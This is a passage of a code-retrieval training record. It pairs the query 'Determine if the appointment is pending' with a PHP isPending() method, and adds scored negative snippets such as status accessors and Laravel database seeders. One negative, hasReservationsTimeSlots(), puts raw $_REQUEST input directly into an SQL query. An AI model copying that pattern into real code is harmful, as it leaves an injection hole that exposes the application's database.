hasAttackTimerS()\n {\n return $this->attack_timer_s !== null;\n }", "public function hasNotBeforeMs()\n {\n return $this->not_before_ms !== null;\n }", "public function hasTime(){\n return $this->_has(3);\n }", "public function shouldBeSkipped();", "public function if_show_time_not_found()\n {\n $reponse = $this->withHeaders(['Authorization'=> 'Bearer '.$this->userLogin()])->json('GET', 'api/reservations/-1');\n $reponse->assertStatus(404);\n }", "public function isReported()\n\t{\n\t\treturn ($this->get('state') == static::ANSWERS_STATE_REPORTED);\n\t}", "public static function hasReservationsTimeSlots() {\n $idTimeSlot = $_REQUEST[\"idTimeSlot\"];\n $result = DB::dataQuery(\"SELECT * FROM timeslots WHERE idTimeSlot = '$idTimeSlot'\");\n if($result != null && count($result)>0){\n return true;\n }else{\n return false;\n }\n }", "public function getStillWanted() {\n $wanted = Event::fireReturn($this->getEventID(), $this->type, $this->filter, 'ping');\n if ($wanted || count($wanted)) {\n return true;\n }\n return false;\n }", "static function endSended(Reservation $res) {\n\t\t$db = new Db();\n\t\t$db->saveQry(\"SELECT COUNT(*) as `set` FROM `#_reminder` \".\n\t\t\t\t\"WHERE `reservation` = ? AND `status` = 'end'\",\n\t\t\t\t$res->getId());\n\t\t$res = $db->fetch_assoc();\n\t \treturn (intval($res['set']) > 0);\n\t}", "public function has_time() {\n return in_array( $this->duration_unit, array( 'hour', 'minute' ) );\n }", "public function hasAppid()\n {\n return $this->appid !== null;\n }", "public function hasAppid()\n {\n return $this->appid !== null;\n }", "public function hasAppid()\n {\n return $this->appid !== null;\n }", "public function isResAppInterviewed( $resapp ) {\n //interviewed means she sets the interview date and then sends interview evaluation emails.\n //The simplest answer if \"not interviewed\" would be any applicant that if all those are true:\n // (a) was never set to the “Interviewee” status AND\n // (b) does not have any interview feedback AND\n // (c) does not have an interview date field value AND\n // (d) never had any interviewer evaluation emails sent to interviewers\n\n if( !$resapp ) {\n return false;\n }\n \n // (a) was never set to the “Interviewee” status AND\n // (b) does not have any interview feedback AND\n // (c) does not have an interview date field value AND\n if( $resapp->isInterviewed() ) {\n return true;\n }\n\n //(d) never had any interviewer evaluation emails sent to interviewers\n if( $this->isInterviewInvitationEmailSent($resapp) ) {\n return true;\n }\n\n return false;\n }", "public function isStarted(){\n\n //Comparing the time to decide wither it's started or not ....\n $start = new Carbon($this->start_time);\n $now = Carbon::now();\n $end = $start->copy()->addMinutes($this->duration);\n\n $started = $now->gt($start) && $now->lt($end);\n\n //checking if it has expired announcement and remove it with resetting status to 0\n if($this->hasAnnouncement()){\n $now = Carbon::now();\n $end = new Carbon($this->start_time);\n $end->addMinutes($this->duration);\n\n //Checking if the announcement has expired and delete it ...\n if($now->gt($end))\n $this->deleteAnnouncement();\n\n }\n\n return $started;\n\n }", "public function checkTimeEnd(): bool;", "public function isOverDue() {\n return $this->state === self::STATUS_OVERDUE;\n }" ]
[ "0.6312505", "0.58718836", "0.57855433", "0.5779899", "0.5610996", "0.56108636", "0.5557914", "0.5556666", "0.5538188", "0.55184186", "0.54848623", "0.54589576", "0.54332083", "0.53519076", "0.5348624", "0.5341566", "0.5259602", "0.52572244", "0.5256387", "0.5254475", "0.5239425", "0.52375376", "0.52275074", "0.52147275", "0.5207399", "0.52043134", "0.5198731", "0.51921475", "0.5187868", "0.51663774", "0.5165409", "0.5164173", "0.5160511", "0.5159956", "0.51585644", "0.5152063", "0.514919", "0.5146565", "0.5145135", "0.51448524", "0.5136964", "0.51340264", "0.5105067", "0.5102847", "0.5100905", "0.50991493", "0.5095734", "0.50706065", "0.5059416", "0.5051027", "0.50403005", "0.5035918", "0.503343", "0.5027305", "0.5026458", "0.5007841", "0.50031316", "0.4995074", "0.49834558", "0.49823812", "0.4980704", "0.4980612", "0.49801064", "0.4968644", "0.4965028", "0.49638075", "0.49519086", "0.49492013", "0.4945633", "0.4945569", "0.49425974", "0.49409494", "0.49407497", "0.49376497", "0.4935685", "0.4929685", "0.49248695", "0.49191755", "0.4916414", "0.4907035", "0.49061897", "0.49054262", "0.49031696", "0.48994297", "0.48975077", "0.48953387", "0.4892076", "0.48908827", "0.48779887", "0.48778427", "0.48744914", "0.48687583", "0.48666432", "0.48658612", "0.48658612", "0.48658612", "0.48559254", "0.48552307", "0.4853554", "0.48507527" ]
0.6984136
0
Determine if the appointment is pending.
public function isPending(): bool { return $this->status == 'pending'; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function isPending()\n {\n return $this->status === self::STATUS_PENDING;\n }", "public function isPending()\n {\n return static::STATUS_PENDING == $this->getStatus();\n }", "public function isPending()\n\t{\n\t\treturn ($this->get('state') == self::STATE_PENDING);\n\t}", "function isPending() {\n return $this->getStatus() == UserpointsTransaction::STATUS_PENDING;\n }", "public function isPending()\n\t{\n\t\tif($this->test_status_id == Test::PENDING)\n\t\t\treturn true;\n\t\telse \n\t\t\treturn false;\n\t}", "public function isPending()\n {\n if ($this->status == 0) {\n return true;\n } else {\n return false;\n }\n }", "public function isPending(): bool\n {\n return $this->pending;\n }", "public function isPending() : bool\n {\n return $this->getOrderStatus() == self::PENDING;\n }", "public function isPending()\n {\n if (!isset($this->data['error']) && $this->data['transactionResponse']['state'] === 'PENDING') {\n return true;\n }\n return false;\n }", "public function isPending()\r\n {\r\n return $this->status >= 0 && $this->status < 100;\r\n }", "public function isPending()\n {\n return true;\n }", "public function isStillPending()\n {\n //\n return $this->result == self::RESULT_STILL_PENDING;\n }", "public function isPendingReview() {\n return $this->getStatus() === Status::PENDING_REVIEW;\n }", "public function isPending(): bool;", "public function isPending()\n {\n // check if model approved by all roles in the model\n return $this->pendingItem($this->approvedByRole());\n }", "public function isActiveOrPending()\n {\n return $this->isApproved() || $this->isPending();\n }", "public function unpaid(): bool\n {\n return in_array($this->status, [self::PENDING]);\n }", "protected function isPending(){\n return parent::isStatusOf(STATUS_TYPE_SSS_COMMENT_PENDING);\n }", "public function getIsPending() {\n if ($parent = $this->getParentBlock()) {\n return!!$parent->getPending();\n }\n return false;\n }", "public function getPending()\n\t{\n\t\treturn $this->pending;\n\t}", "public function isPended() {\r\n\r\n\t\tself::errorReset();\r\n\t\t$this->reload();\r\n\t\treturn InputValidator::isEmpty($this->pendingDate) ? false: true;\r\n\t}", "public function isPendingShipmentDescription() {\n return $this->_pendingShipmentDescription;\n }", "public function isPending()\n {\n return $this->isSuccessfulQuery() && $this->isPendingTransaction();\n }", "public function isStatusNotPaid()\n {\n return $this->status == self::_ORDER_STATUS_NEW || $this->status == self::_ORDER_STATUS_REJECTED;\n }", "public function isDone()\n\t{\n\t $today = Carbon::now()->setTimezone('America/Los_Angeles')->startOfDay();\n\t return $today->gte($this->event_date->endOfDay());\n\t}", "public function isRejected() {\n\t\treturn $this->approved == -1;\n\t}", "public function isApproved()\n {\n\n return false;\n }", "public function isPaying()\n {\n if($this->paying && $this->paid_until > \\Carbon\\Carbon::now())\n {\n return true;\n }\n return false;\n }", "public function payment_status_pending()\n {\n return $this->payment_status_completed();\n }", "public function markAsPending() {\n $this->status = parent::STATUS_PENDING;\n\n //no reason to keep this (cause we will save to history)\n $this->decline_reason = null;\n $this->comment = null;\n\n return $this->save(false);\n }", "public function isInProgress()\n {\n $currentTime = time();\n\n if (strtotime($this->eventdatetime->starttime) > $currentTime) {\n //It has not started yet.\n return false;\n }\n\n if (strtotime($this->eventdatetime->endtime) < $currentTime) {\n //It already finished.\n return false;\n }\n\n return false;\n }", "public function getIsNotApproved()\n {\n return $this->state !== self::STATE_APPROVED;\n }", "public function isPastDue()\n {\n return Invoice\\InvoiceStatus::PAST_DUE == $this->status;\n }", "public function isReadyForIssuing()\n {\n return $this->isFeePaid();\n }", "public function hasNotCompleted() : bool\n {\n return $this->completed_at === null;\n }", "public function hasPendingActions()\r\n {\r\n }", "public function canBeCanceled()\n\t{\n\t\t$flight_at = Carbon::createFromFormat('Y-m-d H:i:s', $this->flight_at);\n if ($flight_at->subMinute(config('flight.enable_cancel'))->isFuture()) {\n return true;\n }\n else {\n\t\t\treturn false;\n }\n\t}", "private function isPendingInStore($orderStatus){\r\n return $orderStatus == 'pending';\r\n }", "public function pending(int $flags): bool {}", "public function get_state( $ignore_assignments = false )\n {\n if( is_null( $this->id ) )\n {\n log::warning( 'Tried to determine state for appointment with no id.' );\n return NULL;\n } \n \n // if the appointment's reached column is set, nothing else matters\n if( !is_null( $this->reached ) ) return $this->reached ? 'reached' : 'not reached';\n\n $status = 'unknown';\n \n // settings are in minutes, time() is in seconds, so multiply by 60\n $setting_manager = lib::create( 'business\\setting_manager' );\n $pre_window_time = 60 * $setting_manager->get_setting(\n 'appointment', 'call pre-window' );\n $post_window_time = 60 * $setting_manager->get_setting(\n 'appointment', 'call post-window' );\n $now = util::get_datetime_object()->getTimestamp();\n $appointment = util::get_datetime_object( $this->datetime )->getTimestamp();\n\n // get the status of the appointment\n $db_assignment = $this->get_assignment();\n if( !$ignore_assignments && !is_null( $db_assignment ) )\n {\n if( !is_null( $db_assignment->end_datetime ) )\n { // assignment closed but appointment never completed\n log::crit(\n sprintf( 'Appointment %d has assignment which is closed but no status was set.',\n $this->id ) );\n $status = 'incomplete';\n }\n else // assignment active\n {\n $modifier = lib::create( 'database\\modifier' ); \n $modifier->where( 'end_datetime', '=', NULL );\n $open_phone_calls = $db_assignment->get_phone_call_count( $modifier );\n if( 0 < $open_phone_calls )\n { // assignment currently on call\n $status = \"in progress\";\n }\n else\n { // not on call\n $status = \"assigned\";\n }\n }\n }\n else if( $now < $appointment - $pre_window_time )\n {\n $status = 'upcoming';\n }\n else if( $now < $appointment + $post_window_time )\n {\n $status = 'assignable';\n }\n else\n {\n $status = 'missed';\n }\n\n return $status;\n }", "function checkPendingInvitation(){\n $checkarray=array(\n \"medical_group_id\"=>$this->medical_group_id,\n \"active\"=>$this->active,\n \"type\"=>$this->type\n );\n if($this->user_id!=null){\n $checkarray[\"user_id\"]=$this->user_id;\n }\n else{\n $checkarray[\"user_id\"]=NULL;\n $checkarray[\"email\"]=$this->email;\n }\n if($this->getCount($checkarray)==true){\n return false;\n }\n return true;\n }", "public function getIsPrepaidBlocked()\n {\n return $this->is_prepaid_blocked;\n }", "public function isIncomplete(): bool\n {\n return $this->status === self::INCOMPLETE;\n }", "public function hasFriendRequestPending(User $user) {\n // (bool) is meant for true or false\n // Return pending friend requests where the id of the\n // user = the user id we pass in\n return (bool) $this->friendRequestsPending()->where('id', $user->id)->count();\n }", "public function isAwaiting()\n {\n return $this->state_id == TransferState::AWAITING;\n }", "public function getScheduledStatus()\n {\n if ( !$this->owner->isPublished() ) {\n return false;\n }\n $embargo = $this->owner->dbObject(\"Embargo\");\n //Debug::dump(($this->owner->Embargo)? true: false);\n if ( $this->owner->Embargo && $embargo->InFuture() ) {\n return true;\n }\n\n return false;\n }", "public function isPastBidTime()\n\t{\n\t\t//light check if task is active\n\t\tif (!$this->active)\n\t\t\treturn true;\n\t\t\n\t\t//heavier time check in case time is passed but the sentinel has not caught the task yet\n\t\tif ($this->enddatetime <= time())\n\t\t{\n\t\t\t$this->endTask();\n\t\t\treturn true;\n\t\t}\n\t\t\n\t\treturn false;\n\t}", "public function isAwaitingConfirmation() {\n if(isset($this->data['charge']))\n return $this->data['charge']['status'] === 'successful' ? false : true;\n else\n return true;\n }", "public function isApproved(): bool;", "private function isDraftOrPending(\\WP_Post $post): bool\n {\n if (empty($post->post_status)) {\n return false;\n }\n\n return in_array($post->post_status, ['draft', 'pending', 'auto-draft'], true);\n }", "public function isWaiting() {\n\t\treturn $this->workflowActivitySpecification->isWaiting();\n\t}", "public function isScheduled()\n {\n return $this->publish_status == Status::SCHEDULED;\n }", "public function isPendingParcelsDescription() {\n return $this->_pendingParcelsDescription;\n }", "private function isPendingInFlow($status){\r\n return $status == 1;\r\n }", "function check_paid_status($app_id) {\r\n\t\t$this->db->select(\"paid\");\r\n\t\t$query = $this->db->get_where(\"tb_appointment\",array('appointment_number' => $app_id));\r\n\t\tif( $query->num_rows() > 0 ) {\r\n\t\t\t\tif ( $query->row(1)->paid == \"Y\" )\r\n\t\t\t\t\treturn TRUE;\t\t\t\t\t\r\n\t\t}\r\n\t\treturn FALSE;\r\n\t}", "public function pendingOrderState()\n {\n $stateExist = false;\n $states = OrderState::getOrderStates((int)$this->context->language->id);\n foreach ($states as $state) {\n if (in_array($this->lang('Awaiting Mollie payment'), $state)) {\n $stateExist = true;\n break;\n }\n }\n if (!$stateExist) {\n $orderState = new OrderState();\n $orderState->send_email = false;\n $orderState->color = '#4169E1';\n $orderState->hidden = false;\n $orderState->delivery = false;\n $orderState->logable = false;\n $orderState->invoice = false;\n $orderState->module_name = $this->name;\n $orderState->name = array();\n $languages = Language::getLanguages(false);\n foreach ($languages as $language) {\n $orderState->name[$language['id_lang']] = $this->lang('Awaiting Mollie payment');\n }\n if ($orderState->add()) {\n $source = _PS_MODULE_DIR_ . 'mollie/views/img/logo_small.png';\n $destination = _PS_ROOT_DIR_ . '/img/os/' . (int)$orderState->id . '.gif';\n @copy($source, $destination);\n }\n Configuration::updateValue(Mollie::MOLLIE_PENDING, (int) $orderState->id);\n }\n\n return true;\n }", "public function isApproved()\n {\n if ($this->approved == 'YES') {\n return true;\n }\n \n return false;\n }", "public function isPaid()\n {\n return $this->status === self::STATUS_APPROVED;\n }", "public function isOngoing()\n {\n if (empty($this->eventdatetime->endtime)) {\n return false;\n }\n\n $start = date('m-d-Y', strtotime($this->eventdatetime->starttime));\n $end = date('m-d-Y', strtotime($this->eventdatetime->endtime));\n\n //It is not an ongoing event if it starts and ends on the same day.\n if ($start == $end) {\n return false;\n }\n\n return true;\n }", "public function isDelivered() {\r\n\r\n\t\tself::errorReset();\r\n\t\t$this->reload();\r\n\t\treturn InputValidator::isEmpty($this->deliveryDate) ? false: true;\r\n\t}", "public function isUnpaid()\n {\n return $this->getStatus() === OpenNode_Bitcoin_Model_Bitcoin::OPENNODE_STATUS_UNPAID;\n }", "public function testPending()\n {\n $this->assertTrue($this->kittyUser->isPending());\n $returnedKittyUser = $this->kittyUser->setPending(false);\n $this->assertSame($this->kittyUser, $returnedKittyUser);\n $this->assertFalse($this->kittyUser->isPending());\n }", "protected function _fcpoMandateAcceptanceNeeded() \n {\n $aMandate = $this->_oFcpoHelper->fcpoGetSessionVariable('fcpoMandate');\n if($aMandate && array_key_exists('mandate_status', $aMandate) !== false && $aMandate['mandate_status'] == 'pending') {\n if(array_key_exists('mandate_text', $aMandate) !== false) {\n return true;\n }\n }\n return false;\n }", "public function canBeDeclined()\n {\n return $this->isAwaitingFee();\n }", "public function setPending()\n {\n $this->attributes['status'] = 'pending';\n self::save();\n }", "function isApproved() {\n return $this->getStatus() == UserpointsTransaction::STATUS_APPROVED;\n }", "public function friendRequestPending() {\n return $this->friendOf()->wherePivot('accepted', false)->get();\n }", "public function hasFriendRequestPending(User $user) {\n // Another user is passed to method()\n\n // so return true or false if current user has panding requests from passed in method user\n // get friendRequestPending where id = passed $user->id and do count() on this\n // if count is 1 then you have pending request from that user if 0 then you don't have it\n // boolien makes true or false\n return (bool) $this->friendRequestPending()->where('id', $user->id)->count();\n\n }", "public function isIssueInProgress()\n {\n return $this->status->getId() === self::STATUS_ISSUING;\n }", "public function canCancel() {\n $today = Carbon::parse();\n $canCancelFrom = $this->start_date->addMonthsNoOverflow($this->package->commitment_period)->firstOfMonth();\n\n if($canCancelFrom->greaterThan($today) || !$this->hasExpired()) {\n return false;\n }\n\n return true;\n }", "function pending() {\n $this->setStatus(UserpointsTransaction::STATUS_PENDING);\n return $this;\n }", "public function isRejected(): bool {\n return $this->_state === self::STATE_REJECTED;\n }", "function is_not_paying() {\n\t\t\treturn ( $this->is_trial() || $this->is_free_plan() );\n\t\t}", "public function isPendingClaim($claim_id){\n\t\t$q=$this->db->get_where('user_admin',array('ID'=>$claim_id,'rcode'=>'pending'));\n\t\t$ret=$q->result();\n\t\treturn (empty($ret)) ? false : true;\n\t}", "public function isApproved()\n {\n return $this->approved;\n }", "public function hasPendingNotification($data_id);", "public function isPaid(){\n return $this->status == \"SUCCESS\";\n }", "public function test_wp_create_user_request_pending_status() {\n\t\t$actual = wp_create_user_request( self::$non_registered_user_email, 'export_personal_data', array(), 'pending' );\n\t\t$post = get_post( $actual );\n\n\t\t$this->assertSame( 'request-pending', $post->post_status );\n\t}", "public function hasFriendRequestPending(User $user)\n {\n return (bool) $this->friendRequestsPending()->where('id', $user->id)->count();\n }", "public function isInProgress()\n {\n return static::STATUS_INPROGRESS == $this->getStatus();\n }", "public function isDue(): bool\n {\n $this->schedule($this->event());\n\n return $this->event->isDue(app());\n }", "public function isSetConfirmDeadline()\n {\n return !is_null($this->_fields['ConfirmDeadline']['FieldValue']);\n }", "public function isAccepted()\n {\n return !empty($this->acceptee_id);\n }", "public function isCanceled(): bool\n {\n return $this->status == 'canceled';\n }", "public function isApproved()\n {\n $responseText = $this->transaction->getTransactionResponse()->getMessages()[0]->getDescription();\n return $responseText === 'This transaction has been approved.';\n }", "public function isPaid() {\n return $this->state === self::STATUS_PAID;\n }", "public function isSuspended() {\n return $this->getStatus() === Status::SUSPENDED;\n }", "function cancelPending() {\n\t\tself::$_db->saveQry(\"SELECT `ID` FROM `#_reservations` \".\n\t\t\t\t\"WHERE (`status` = 'pending' OR `status` = 'prefered') \".\n\t\t\t\t\"AND ? >= `startTime` \",\n\t\t\t\tCalendar::startCancel());\n\t\t\n\n\t\twhile($res = self::$_db->fetch_assoc())\n\t\t\tReservation::load($res['ID'])->failed();\n\t\t\n\t\t\n\t\t// TagesEnde - BuchungsCancelZeit ist kleiner als Aktueller Zeitblock\n\t\tif(Calendar::calculateTomorrow()) {\n\t\t\t$opening = Calendar::opening(date('Y-m-d', strtotime(\"tomorrow\")));\n\t\t\tself::$_db->saveQry(\"SELECT * FROM `#_reservations` \".\n\t\t\t\t\t\"WHERE (`status` = 'pending' OR `status` = 'prefered') \".\n\t\t\t\t\t\"AND ? <= `startTime` AND `startTime` <= ? \",\n\t\t\t\t\t$opening->format(\"Y-m-d H:i\"), \n\t\t\t\t\tCalendar::startCancel($opening));\n\t\t\t\n\t\t\twhile($res = self::$_db->fetch_assoc())\n\t\t\t\tReservation::load($res['ID'])->failed();\n\t\t}\n\t\t\n\t}", "public function isPlanned()\n {\n return !empty($this->plan_id);\n }", "public function isOpen()\n {\n return $this->completed_at === null;\n }", "public function isActive(): bool\n {\n $firstEventRepetitionIdInFuture = EventRepetition::getFirstEventRpIdByEventId($this->id);\n\n if (! empty($firstEventRepetitionIdInFuture)) {\n return true;\n } else {\n return false;\n }\n }", "public function canBeWithdrawn()\n {\n return $this->isUnderConsideration() || ($this->isAwaitingFee() && $this->issueFeeOverdue());\n }", "public static function isRepairAwaiting($repair)\n {\n\n if ( count($repair->trackings) && $repair->trackings->last()->status == 1 )\n {\n return true;\n } else {\n return false;\n }\n\n }", "public function canBeAccepted()\n {\n return $this->isReadyForIssuing();\n }", "public static function Pending()\n {\n $pending = \\ApprovalSequence\\Models\\Entity::Where('entity_type', self::class)->get();\n $PendingEntity = $pending->map(function ($item) {\n // check every item and check it's pending or not\n if($item->entity && $item->entity->isPending()){\n return $item->entity;\n }\n\n });\n //to avoid duplication\n return $PendingEntity->unique();\n }", "public function isInHoldingStatus()\n\t\t{\n\t\t\t$disallowed_statuses = array();\n\n\t\t\t$asf = ECash::getFactory()->getReferenceList('ApplicationStatusFlat');\n\n\t\t\t$disallowed_statuses[] = $asf->toId('hold::arrangements::collections::customer::*root');\n\t\t\t$disallowed_statuses[] = $asf->toId('unverified::bankruptcy::collections::customer::*root');\n\t\t\t$disallowed_statuses[] = $asf->toId('verified::bankruptcy::collections::customer::*root');\n\t\t\t$disallowed_statuses[] = $asf->toId('amortization::bankruptcy::collections::customer::*root');\n\t\t\t$disallowed_statuses[] = $asf->toId('skip_trace::collections::customer::*root');\n\n\t\t\t$db = ECash_Config::getMasterDbConnection();\n\n\t\t\t$query = \"\n\t\t\t\tSELECT application_status_id, is_watched\n\t\t\t\tFROM application\n\t\t\t\tWHERE application_id = ?\";\n\n\t\t\t$st = DB_Util_1::queryPrepared($this->db, $query, array($this->application_id));\n\t\t\t$row = $st->fetch(PDO::FETCH_OBJ);\n\n\t\t\treturn ((\n\t\t\t\tin_array($row->application_status_id, $disallowed_statuses))\n\t\t\t\t|| $row->is_watched == 'yes');\n\t\t}", "public function punyaBimbingan()\n {\n return ($this->bimbingan(RequestStatus::APPROVED)\n ->count() > 0);\n }", "public function isDue(): bool;", "function getPendingTask(){\n $item = new RepairServiceModel();\n return $item->viewPendingTask();\n }", "public function getApproved() {\n\t\treturn $this->approved == 1;\n\t}" ]
[ "0.7820632", "0.7753319", "0.76995504", "0.74140424", "0.7403332", "0.73832333", "0.73604125", "0.7223761", "0.7208473", "0.7208302", "0.71049666", "0.70887125", "0.7031097", "0.6991954", "0.68370515", "0.6819077", "0.6746296", "0.6697734", "0.6582661", "0.6468816", "0.636055", "0.6330149", "0.62925", "0.6291537", "0.6216511", "0.6208205", "0.61879915", "0.6171256", "0.6159645", "0.60725164", "0.60464615", "0.60348594", "0.6020171", "0.60068953", "0.5938459", "0.5931796", "0.5920623", "0.5910171", "0.58880174", "0.5887343", "0.58674383", "0.5866025", "0.5862638", "0.5859354", "0.58586895", "0.585486", "0.5854048", "0.5846612", "0.5828707", "0.5822007", "0.58137697", "0.574157", "0.573835", "0.57336557", "0.57241106", "0.5724071", "0.57222337", "0.571416", "0.57100457", "0.57054925", "0.569037", "0.5682162", "0.56798685", "0.56720096", "0.56612444", "0.5659375", "0.5654023", "0.5652533", "0.56400794", "0.5637421", "0.5634463", "0.56199884", "0.5600079", "0.5596679", "0.5582406", "0.55788517", "0.5573111", "0.5566743", "0.5563796", "0.55612206", "0.5551916", "0.5540114", "0.553133", "0.5522923", "0.5508943", "0.55084056", "0.55036825", "0.5475873", "0.54737014", "0.54679894", "0.5461294", "0.545841", "0.5458288", "0.54545516", "0.5454201", "0.545291", "0.5447894", "0.54441917", "0.5428353", "0.54249907" ]
0.76557153
3
Run the database seeds.
public function run() { DB::table('product')->insert([ [ 'id' =>"1", 'nama_product' => "Kaos", ], ]); DB::table('cart')->insert([ [ 'id' =>"1", 'status' => "2", 'total_harga' => "20000", 'users' => "6", 'alamat_cp' => "dramaga", 'no_cp' => "082368276465", ], [ 'id' =>"2", 'status' => "3", 'total_harga' => "40000", 'users' => "7", 'alamat_cp' => "bogor", 'no_cp' => "082368276464", ], ]); DB::table('order')->insert([ [ 'id' =>"1", 'harga' => "10000", 'cart_id' => "1", 'product_id' => "1", 'jenis_pakaian' => "1", 'model' => "1", 'bahan' => "1", 'warna_bahan' => "1", 'pilihan_warna_bahan' => "biru", 'warna_bahan' => "1", 'manset' => "1", 'lengan' => "1", 'sablon' => "1", 'warna_sablon' => "1", 'pilihan_warna_sablon' => "merah", 'lokasi_sablon' => "1", 'jumlah_bordir' => "1", 'jumlah_produk' => "1", 'jenis_ukuran' => "1", ], [ 'id' =>"2", 'harga' => "10000", 'cart_id' => "1", 'product_id' => "1", 'jenis_pakaian' => "2", 'model' => "1", 'bahan' => "1", 'warna_bahan' => "1", 'pilihan_warna_bahan' => "biru", 'warna_bahan' => "1", 'manset' => "1", 'lengan' => "1", 'sablon' => "1", 'warna_sablon' => "1", 'pilihan_warna_sablon' => "merah", 'lokasi_sablon' => "1", 'jumlah_bordir' => "1", 'jumlah_produk' => "1", 'jenis_ukuran' => "1", ], [ 'id' =>"3", 'harga' => "40000", 'cart_id' => "2", 'product_id' => "1", 'jenis_pakaian' => "1", 'model' => "1", 'bahan' => "1", 'warna_bahan' => "1", 'pilihan_warna_bahan' => "biru", 'warna_bahan' => "1", 'manset' => "1", 'lengan' => "1", 'sablon' => "1", 'warna_sablon' => "1", 'pilihan_warna_sablon' => "merah", 'lokasi_sablon' => "1", 'jumlah_bordir' => "1", 'jumlah_produk' => "1", 'jenis_ukuran' => "1", ], ]); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function run()\n {\n // $this->call(UserTableSeeder::class);\n // $this->call(PostTableSeeder::class);\n // $this->call(TagTableSeeder::class);\n // $this->call(PostTagTableSeeder::class);\n\n /*AB - use faker to populate table see file ModelFactory.php */\n factory(App\\Editeur::class, 40) ->create();\n factory(App\\Auteur::class, 40) ->create();\n factory(App\\Livre::class, 80) ->create();\n\n for ($i = 1; $i < 41; $i++) {\n $number = rand(2, 8);\n for ($j = 1; $j <= $number; $j++) {\n DB::table('auteur_livre')->insert([\n 'livre_id' => rand(1, 40),\n 'auteur_id' => $i\n ]);\n }\n }\n }", "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n // Let's truncate our existing records to start from scratch.\n Assignation::truncate();\n\n $faker = \\Faker\\Factory::create();\n \n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 40; $i++) {\n Assignation::create([\n 'ad_id' => $faker->numberBetween(1,20),\n 'buyer_id' => $faker->numberBetween(1,6),\n 'seller_id' => $faker->numberBetween(6,11),\n 'state' => NULL,\n ]);\n }\n\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "public function run()\n {\n \t$faker = Faker::create();\n\n \tfor($i=0; $i<20; $i++) {\n \t\t$post = new Post;\n \t\t$post->title = $faker->sentence();\n \t\t$post->body = $faker->paragraph();\n \t\t$post->category_id = rand(1, 5);\n \t\t$post->save();\n \t}\n\n \t$list = ['General', 'Technology', 'News', 'Internet', 'Mobile'];\n \tforeach($list as $name) {\n \t\t$category = new Category;\n \t\t$category->name = $name;\n \t\t$category->save();\n \t}\n\n \tfor($i=0; $i<20; $i++) {\n \t\t$comment = new Comment;\n \t\t$comment->comment = $faker->paragraph();\n \t\t$comment->post_id = rand(1,20);\n \t\t$comment->save();\n \t}\n // $this->call(UsersTableSeeder::class);\n }", "public function run()\n {\n $this->call(RoleTableSeeder::class);\n $this->call(UserTableSeeder::class);\n \n factory('App\\Cat', 5)->create();\n $tags = factory('App\\Tag', 8)->create();\n\n factory(Post::class, 15)->create()->each(function($post) use ($tags){\n $post->comments()->save(factory(Comment::class)->make());\n $post->tags()->attach( $tags->random(mt_rand(1,4))->pluck('id')->toArray() );\n });\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('post')->insert(\n [\n 'title' => 'Test Post1',\n 'desc' => str_random(100).\" post1\",\n 'alias' => 'test1',\n 'keywords' => 'test1',\n ]\n );\n DB::table('post')->insert(\n [\n 'title' => 'Test Post2',\n 'desc' => str_random(100).\" post2\",\n 'alias' => 'test2',\n 'keywords' => 'test2',\n ]\n );\n DB::table('post')->insert(\n [\n 'title' => 'Test Post3',\n 'desc' => str_random(100).\" post3\",\n 'alias' => 'test3',\n 'keywords' => 'test3',\n ]\n );\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n \t$faker = Factory::create();\n \t\n \tforeach ($this->departments as $key => $department) {\n \t\tDepartment::create([\n \t\t\t'name' => $department\n \t\t]);\n \t}\n \tforeach ($this->collections as $key => $collection) {\n \t\tCollection::create([\n \t\t\t'name' => $collection\n \t\t]);\n \t}\n \t\n \t\n \tfor ($i=0; $i < 40; $i++) {\n \t\tUser::create([\n \t\t\t'name' \t=>\t$faker->name,\n \t\t\t'email' \t=>\t$faker->email,\n \t\t\t'password' \t=>\tbcrypt('123456'),\n \t\t]);\n \t} \n \t\n \t\n \tforeach ($this->departments as $key => $department) {\n \t\t//echo ($key + 1) . PHP_EOL;\n \t\t\n \t\tfor ($i=0; $i < 10; $i++) { \n \t\t\techo $faker->name . PHP_EOL;\n\n \t\t\tArt::create([\n \t\t\t\t'name'\t\t\t=> $faker->sentence(2),\n \t\t\t\t'img'\t\t\t=> $this->filenames[$i],\n \t\t\t\t'medium'\t\t=> 'canvas',\n \t\t\t\t'department_id'\t=> $key + 1,\n \t\t\t\t'user_id'\t\t=> $this->userIndex,\n \t\t\t\t'dimension'\t\t=> '18.0 x 24.0',\n\t\t\t\t]);\n \t\t\t\t\n \t\t\t\t$this->userIndex ++;\n \t\t}\n \t}\n \t\n \tdd(\"END\");\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // $this->dataCategory();\n factory(App\\Model\\Category::class, 70)->create();\n factory(App\\Model\\Producer::class, rand(5,10))->create();\n factory(App\\Model\\Provider::class, rand(5,10))->create();\n factory(App\\Model\\Product::class, 100)->create();\n factory(App\\Model\\Album::class, 300)->create();\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n\n factory('App\\User', 10 )->create();\n\n $users= \\App\\User::all();\n $users->each(function($user){ factory('App\\Category', 1)->create(['user_id'=>$user->id]); });\n $users->each(function($user){ factory('App\\Tag', 3)->create(['user_id'=>$user->id]); });\n\n\n $users->each(function($user){\n factory('App\\Post', 10)->create([\n 'user_id'=>$user->id,\n 'category_id'=>rand(1,20)\n ]\n );\n });\n\n $posts= \\App\\Post::all();\n $posts->each(function ($post){\n\n $post->tags()->attach(array_unique([rand(1,20),rand(1,20),rand(1,20)]));\n });\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $types = factory(\\App\\Models\\Type::class, 5)->create();\n\n $cities = factory(\\App\\Models\\City::class, 10)->create();\n\n $cities->each(function ($city) {\n $districts = factory(\\App\\Models\\District::class, rand(2, 5))->create([\n 'city_id' => $city->id,\n ]);\n\n $districts->each(function ($district) {\n $properties = factory(\\App\\Models\\Property::class, rand(2, 5))->create([\n 'type_id' => rand(1, 5),\n 'district_id' => $district->id\n ]);\n\n $properties->each(function ($property) {\n $galleries = factory(\\App\\Models\\Gallery::class, rand(3, 10))->create([\n 'property_id' => $property->id\n ]);\n });\n });\n });\n }", "public function run()\n {\n 